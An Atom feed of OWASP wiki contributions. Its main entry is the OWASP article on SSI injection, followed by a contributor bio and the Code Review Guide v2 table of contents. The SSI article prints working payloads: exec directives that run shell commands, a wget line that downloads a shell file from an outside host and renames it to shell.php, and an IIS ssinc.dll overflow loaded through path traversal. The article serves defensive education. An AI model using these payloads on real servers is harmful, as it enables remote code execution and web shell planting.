<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Glenn+%27devalias%27+Grant</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Glenn+%27devalias%27+Grant"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Glenn_%27devalias%27_Grant"/>
		<updated>2026-05-01T09:55:35Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Server-Side_Includes_(SSI)_Injection&amp;diff=207588</id>
		<title>Server-Side Includes (SSI) Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Server-Side_Includes_(SSI)_Injection&amp;diff=207588"/>
				<updated>2016-01-28T01:34:26Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Make sure to wrap examples in nowiki&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
SSIs are directives present on Web applications used to feed an HTML page with dynamic contents. They are similar to CGIs, except that SSIs are used to execute some actions before the current page is loaded or while the page is being visualized. In order to do so, the web server analyzes SSI before supplying the page to the user. &lt;br /&gt;
&lt;br /&gt;
The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields. &lt;br /&gt;
&lt;br /&gt;
It is possible to check if the application is properly validating input fields data by inserting characters that are used in SSI directives, like:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt; ! # = / . &amp;quot; - &amp;gt; and [a-zA-Z0-9] &lt;br /&gt;
&lt;br /&gt;
Another way to discover if the application is vulnerable is to verify the presence of pages with extension .stm, .shtm and .shtml. However, the lack of these type of pages does not mean that the application is protected against SSI attacks.&lt;br /&gt;
&lt;br /&gt;
In any case, the attack will be successful only if the web server permits SSI execution without proper validation. This can lead to access and manipulation of file system and process under the permission of the web server process owner.&lt;br /&gt;
&lt;br /&gt;
The attacker can access sensitive information, such as password files, and execute shell commands. The SSI directives are injected in input fields and they are sent to the web server. The web server parses and executes the directives before supplying the page. Then, the attack result will be viewable the next time that the page is loaded for the user's browser.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors ==&lt;br /&gt;
TBD&lt;br /&gt;
[[Category:FIXME|need content here]]&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
=== Example 1===&lt;br /&gt;
&lt;br /&gt;
The commands used to inject SSI vary according to the server operational system in use.  The following commands represent the syntax that should be used to execute OS commands. &lt;br /&gt;
&lt;br /&gt;
'''Linux:'''&lt;br /&gt;
&lt;br /&gt;
List files of directory:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Access directories:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;cd /root/dir/&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Execution script:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;wget http://mysite.com/shell.txt | rename shell.txt shell.php&amp;quot; --&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Windows:'''&lt;br /&gt;
&lt;br /&gt;
List files of directory:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;dir&amp;quot; --&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Access directories:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;cd C:\admin\dir&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
Other SSI examples that can be used to access and set server information:&lt;br /&gt;
&lt;br /&gt;
To change the error message output:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#config errmsg=&amp;quot;File not found, informs users and password&amp;quot;--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To show current document filename:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#echo var=&amp;quot;DOCUMENT_NAME&amp;quot; --&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To show virtual path and filename:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#echo var=&amp;quot;DOCUMENT_URI&amp;quot; --&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Using the “config” command and “timefmt” parameter, it is possible to control the date and time output format:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#config timefmt=&amp;quot;A %B %d %Y %r&amp;quot;--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Using the “fsize” command, it is possible to print the size of selected file:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#fsize file=&amp;quot;ssi.shtml&amp;quot; --&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
&lt;br /&gt;
An old vulnerability in the IIS versions 4.0 and 5.0 allows an attacker to obtain system privileges through a buffer overflow failure in a dynamic link library (ssinc.dll). The “ssinc.dll” is used to interpreter process Server-Side Includes. &lt;br /&gt;
[http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0506 CVE 2001-0506].&lt;br /&gt;
&lt;br /&gt;
By creating a malicious page containing the SSI code bellow and forcing the application to load this page ([[Path Traversal]] attack), it’s possible to perform this attack: &lt;br /&gt;
&lt;br /&gt;
ssi_over.shtml&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#include file=”UUUUUUUU...UU”--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PS: The number of “U” needs to be longer than 2049.&lt;br /&gt;
 &lt;br /&gt;
Forcing application to load the ssi_over.shtml page:&lt;br /&gt;
&lt;br /&gt;
Non-malicious URL:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;www.vulnerablesite.org/index.asp?page=news.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malicious URL:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the IIS return a blank page it indicates that an overflow has occurred. In this case, the attacker might manipulate the procedure flow and executes arbitrary code.&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
* [[:Category:Command Execution]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
*[[Code Injection]] &lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* http://www.comptechdoc.org/independent/web/cgi/ssimanual/ssiexamples.html - SSI Examples&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|link not working&lt;br /&gt;
&lt;br /&gt;
* http://www.students.mines.edu/examples/  - CGI and SSI Examples&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Glenn_%27devalias%27_Grant&amp;diff=206048</id>
		<title>User:Glenn 'devalias' Grant</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Glenn_%27devalias%27_Grant&amp;diff=206048"/>
				<updated>2016-01-08T01:32:05Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Update bio&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Born to the internet and raised in a dark cave somewhere in the Snowy Mountains, Glenn is a full-stack, polyglot developer with an acute interest in the offensive side of security (and a love/hate relationship with jargon). Whether it's something familiar or seeing just how deep that new rabbit hole goes, if it involves tech, caffeine or adrenaline, you'll likely find Glenn somewhere close by.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Find me around the web ==&lt;br /&gt;
&lt;br /&gt;
* '''Tech Blog''' http://blog.devalias.net/&lt;br /&gt;
* '''Website''' http://www.devalias.net/&lt;br /&gt;
* '''Twitter''' https://twitter.com/_devalias&lt;br /&gt;
* '''Github''' https://github.com/alias1&lt;br /&gt;
&lt;br /&gt;
== Advisories/Etc ==&lt;br /&gt;
&lt;br /&gt;
* '''25 July 2013''' [http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&amp;amp;pvid=security_advisory&amp;amp;year=&amp;amp;suid=20130725_00 SYM13-008 Symantec Web Gateway Security Issues]&lt;br /&gt;
* '''22 August 2013''' [http://seclists.org/fulldisclosure/2013/Aug/232 DAHAX-2013-001 Cloudflare XSS Vulnerability ]&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Code_Review_V2_Table_of_Contents&amp;diff=206046</id>
		<title>OWASP Code Review V2 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Code_Review_V2_Table_of_Contents&amp;diff=206046"/>
				<updated>2016-01-08T01:27:28Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Glenn 'devalias' Grant moved page OWASP Code review V2 Table of Contents to OWASP Code Review V2 Table of Contents: Correct capitalisation as used on category page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= '''OWASP Code Review Guide v2.0:''' =&lt;br /&gt;
&lt;br /&gt;
==Forward==&lt;br /&gt;
# Author - Eoin Keary&lt;br /&gt;
# Previous version to be updated:[[https://www.owasp.org/index.php/Code_Review_Guide_History]]&lt;br /&gt;
'''[[CRV2_Forward|Content here]]'''&lt;br /&gt;
&lt;br /&gt;
== Code Review Guide Introduction==&lt;br /&gt;
# Author - Eoin Keary&lt;br /&gt;
# Previous version to be updated:[[https://www.owasp.org/index.php/Code_Review_Introduction]]&lt;br /&gt;
'''[[CRV2_Introduction|Content here]]'''&lt;br /&gt;
&lt;br /&gt;
=== What is source code review and Static Analysis ===&lt;br /&gt;
=== What is Code Review ===&lt;br /&gt;
# Author - Zyad Mghazli, Eoin Keary&lt;br /&gt;
# New Section&lt;br /&gt;
''' [[CRV2_WhatIsCodeReview|Content here]]'''&lt;br /&gt;
&lt;br /&gt;
=== Manual Review - Pros and Cons ===&lt;br /&gt;
# Author - Zyad Mghazli, Eoin Keary,Gary David Robinson&lt;br /&gt;
# New Section&lt;br /&gt;
# Suggestion: Benchmark of different Stataic Analysis Tools  Zyad Mghazli&lt;br /&gt;
# [[CRV2_ManualReviewProsCons|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== Advantages of Code Review to Development Practices ===&lt;br /&gt;
# Author - Gary David Robinson&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_AdvantagesToDevPractices|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== Why code review ===&lt;br /&gt;
==== Scope and Objective of secure code review ====&lt;br /&gt;
# Author - Ashish Rao&lt;br /&gt;
# [[CRV2_WhyCodeReview|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== We can't hack ourselves secure ===&lt;br /&gt;
# Author - Eoin Keary&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_CantHackSecure|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== 360 Review: Coupling source code review and Testing / Hybrid Reviews===&lt;br /&gt;
# Author - eoin Keary&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_360Review|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=== Can static code analyzers do it all? ===&lt;br /&gt;
# Author - Ashish Rao&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_CanStaticAnalyzersDoAll|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Methodology=&lt;br /&gt;
===The code review approach===&lt;br /&gt;
#Author -  Johanna Curiel&lt;br /&gt;
# [[CRV2_CodeReviewApproach|Put content here]]&lt;br /&gt;
&lt;br /&gt;
==== Preparation and context ====&lt;br /&gt;
# Author - Gary David Robinson&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Code_Review_Preparation]]&lt;br /&gt;
# [[CRV2_PrepContext|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Application Threat Modeling====&lt;br /&gt;
#Author - Larry Conklin&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/OCRG1.1:Application_Threat_Modeling]]&lt;br /&gt;
# [[CRV2_AppThreatModeling|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Understanding Code layout/Design/Architecture====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_CodeLayoutDesignArch|Put content here]]&lt;br /&gt;
====Understanding Business Logic====&lt;br /&gt;
#[[CRV2_BusinessLogic|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===SDLC Integration===&lt;br /&gt;
#Author - Larry Conklin&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Security_Code_Review_in_the_SDLC]]&lt;br /&gt;
# [[CRV2_SDLCInt|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Deployment Models====&lt;br /&gt;
=====Secure deployment configurations=====&lt;br /&gt;
#Author - &lt;br /&gt;
# [[CRV2_SecDepConfig|Put content here]]&lt;br /&gt;
&lt;br /&gt;
# New Section&lt;br /&gt;
=====Metrics and code review=====&lt;br /&gt;
#Author -Anthony.Scotka@tea.state.tx.us&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Code_Review_Metrics]]&lt;br /&gt;
# [[CRV2_MetricsCodeRev|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Source and sink reviews=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_SourceSinkRev|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Code review Coverage=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
#Previous version to be updated: [[https://www.owasp.org/index.php/Code_Review_Coverage]]&lt;br /&gt;
# [[CRV2_CodeRevCoverage|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Design Reviews=====&lt;br /&gt;
#Author - Ashish Rao&lt;br /&gt;
*Why to review design?&lt;br /&gt;
**Building security in design - secure by design principle&lt;br /&gt;
**Design Areas to be reviewed&lt;br /&gt;
**Common Design Flaws&lt;br /&gt;
# [[CRV2_DesignRev|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====A Risk based approach to code review=====&lt;br /&gt;
#Author - Gary David Robinson&lt;br /&gt;
#New Section&lt;br /&gt;
*&amp;quot;Doing things right or doing the right things...&amp;quot;&lt;br /&gt;
**&amp;quot;Not all bugs are equal&lt;br /&gt;
# [[CRV2_RiskBasedApproach|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Crawling code====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Crawling_Code]]&lt;br /&gt;
*API of Interest:&lt;br /&gt;
**Java&lt;br /&gt;
**.NET&lt;br /&gt;
**PHP&lt;br /&gt;
**RUBY&lt;br /&gt;
*Frameworks:&lt;br /&gt;
**Spring&lt;br /&gt;
**.NET MVC&lt;br /&gt;
**Struts&lt;br /&gt;
**Zend&lt;br /&gt;
#New Section&lt;br /&gt;
*Searching for code in C/C++&lt;br /&gt;
#Author - Gary David Robinson&lt;br /&gt;
&lt;br /&gt;
# [[CRV2_CrawlingCode|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Code reviews and Compliance====&lt;br /&gt;
#Author -Open&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Code_Reviews_and_Compliance]]&lt;br /&gt;
# [[CRV2_CodeRevCompliance|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Reviewing by Technical Control=&lt;br /&gt;
===Reviewing code for Authentication controls===&lt;br /&gt;
#Author - Gary Robinson&lt;br /&gt;
# [[CRV2_AuthControls|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Forgot password====&lt;br /&gt;
#Author Abbas Naderi, Larry Conklin&lt;br /&gt;
# [[CRV2_ForgotPassword|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====CAPTCHA====&lt;br /&gt;
#Author Larry Conklin, Joan Renchie&lt;br /&gt;
'''[[CRV2_CAPTCHA|Content here]]'''&lt;br /&gt;
&lt;br /&gt;
====Out of Band considerations====&lt;br /&gt;
#Author - Gary Robinson&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Authentication]]&lt;br /&gt;
# [[CRV2_OutofBand|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing code Authorization weakness===&lt;br /&gt;
#Author Eoin Keary .NET MVC added&lt;br /&gt;
# [[CRV2_AuthorizationWeaknesses|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Checking authz upon every request====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
# [[CRV2_CheckAuthzEachRequest|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reducing the attack surface====&lt;br /&gt;
#Author Gary Robinson&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Authorization]]&lt;br /&gt;
# [[CRV2_ReducingAttSurf|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====SSL/TLS Implementations====&lt;br /&gt;
#Author - Eoin Keary&lt;br /&gt;
# [[CRV2_SSL-TLS|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing code for Session handling====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Session-Management]]&lt;br /&gt;
# [[CRV2_SessionHandling|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing client side code====&lt;br /&gt;
#New Section&lt;br /&gt;
# [[CRV2_ClientSideCodeIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Javascript=====&lt;br /&gt;
#Author - Abbas Naderi&lt;br /&gt;
# [[CRV2_ClientSideCodeJScript|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====JSON=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ClientSideCodeJSon|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Content Security Policy=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ClientSideCodeContSecPolicy|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====&amp;quot;Jacking&amp;quot;/Framing=====&lt;br /&gt;
#Author - Eoin  Keary&lt;br /&gt;
# [[CRV2_ClientSideCodeJackingFraming|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====HTML 5?=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ClientSideCodeHTML5|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Browser Defenses=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ClientSideCodeBrowserDefPol|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====etc...=====&lt;br /&gt;
&lt;br /&gt;
====Review code for input validation====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_InputValIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Regex Gotchas=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
#New Section&lt;br /&gt;
# [[CRV2_InputValRegexGotchas|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====ESAPI=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
#New Section&lt;br /&gt;
# Internal Link: [[https://www.owasp.org/index.php/Codereview-Input_Validation]]&lt;br /&gt;
# [[CRV2_InputValESAPI|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Microsoft Web Protection Library=====&lt;br /&gt;
#Author - Michael Hidalgo&lt;br /&gt;
#New Section&lt;br /&gt;
# Internal Link: [[https://www.owasp.org/index.php/Codereview-Input_Validation]]&lt;br /&gt;
# [[CRV2_InputValMicrosoftWebProtectionLibrary|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing code for contextual encoding====&lt;br /&gt;
[[Overall approach to content encoding and anti XSS]]&lt;br /&gt;
=====HTML Attribute=====&lt;br /&gt;
#Author - Eoin Keary&lt;br /&gt;
# [[CRV2_ContextEncHTMLAttribute|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====HTML Entity=====&lt;br /&gt;
#Author - Eoin Keary&lt;br /&gt;
# [[CRV2_ContextEncHTMLEntity|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Javascript Parameters=====&lt;br /&gt;
#Author - Eoin Keary&lt;br /&gt;
# [[CRV2_ContextEncJscriptParams|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====JQuery=====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ContextEncJQuery|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing file and resource handling code====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_FileResourceHandling|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Resource Exhaustion - error handling====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_ResourceExhaustionErrHandling|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====native calls=====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_ResourceExhaustionNativeCalls|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing Logging code - Detective Security====&lt;br /&gt;
#Author - Gary Robinson&lt;br /&gt;
* Where to Log&lt;br /&gt;
* What to log&lt;br /&gt;
* What not to log&lt;br /&gt;
* How to log&lt;br /&gt;
# Internal link: [[https://www.owasp.org/index.php/Logging_Cheat_Sheet]]&lt;br /&gt;
# [[CRV2_LoggingCode|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing Error handling and Error messages====&lt;br /&gt;
#Author - Gary David Robinson&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Error-Handling]]&lt;br /&gt;
# [[CRV2_ErrorHandlingMessages|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing Security alerts====&lt;br /&gt;
#Author - Gary Robinson&lt;br /&gt;
# [[CRV2_SecurityAlerts|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Review for active defense====&lt;br /&gt;
#Author - Colin Watson&lt;br /&gt;
# [[CRV2_ActiveDefense|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing Secure Storage====&lt;br /&gt;
#Author - Open source&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_SecureStorage|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Hashing &amp;amp; Salting - When, How and Where====&lt;br /&gt;
=====Encryption=====&lt;br /&gt;
======.NET======&lt;br /&gt;
#Author Larry Conklin, Joan Renchie&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Cryptographic_Controls]]&lt;br /&gt;
*''Can we talk about key storage as well i.e. key management for encryption techniques used in the application? - Ashish Rao''&lt;br /&gt;
'''[[CRV2_HashingandSaltingdotNet|Content here]]'''&lt;br /&gt;
&lt;br /&gt;
=Reviewing by Vulnerability=&lt;br /&gt;
===Review Code for XSS===&lt;br /&gt;
#Author Examples added by Eoin Keary&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Reviewing_Code_for_Cross-Site_Scripting]]&lt;br /&gt;
# In reviewing code for XSS - we can give more patterns on &amp;quot;source to sink&amp;quot; patterns for ASP.NET wrf to difference versions and mechanisms to display data in a page - Ashish Rao&lt;br /&gt;
# [[CRV2_RevCodeXSS|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Persistent - The Anti pattern===&lt;br /&gt;
#Author &lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatternIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author Johanna Curiel, Eoin Keary&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatterndotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.Java====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatternJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author Abbas Naderi&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatternPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatternRuby|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reflected - The Anti pattern===&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatternIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatterndotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.Java====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatternJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author Abbas Naderi&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatternPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby====&lt;br /&gt;
# Author - Open&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatternIRuby|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Stored - The Anti pattern===&lt;br /&gt;
# Author - Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatternIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatterndotNET|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.Java====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatternJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author Johanna Curiel &lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatternPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby====&lt;br /&gt;
#Author - Johanna Curiel&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatternRuby|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===DOM XSS ===&lt;br /&gt;
#Author Larry Conklin&lt;br /&gt;
# [[CRV2_DOMXSS|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===JQuery mistakes===&lt;br /&gt;
#Author &lt;br /&gt;
# [[CRV2_JQueryMistakes|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing code for SQL Injection===&lt;br /&gt;
#Author Gary Robinson&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection]]&lt;br /&gt;
# [[CRV2_RevCodeSQLInjection|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author - Mennouchi Islam Azeddine&lt;br /&gt;
# [[CRV2_SQLInjPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Java====&lt;br /&gt;
#Author - Johanna Curiel&lt;br /&gt;
# [[CRV2_SQLInjJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_SQLInjdotNET|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====HQL====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_SQLInjHQL|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===The Anti pattern===&lt;br /&gt;
#Author Larry Conklin&lt;br /&gt;
#[[CRV2_AntiPattern| Content here]]&lt;br /&gt;
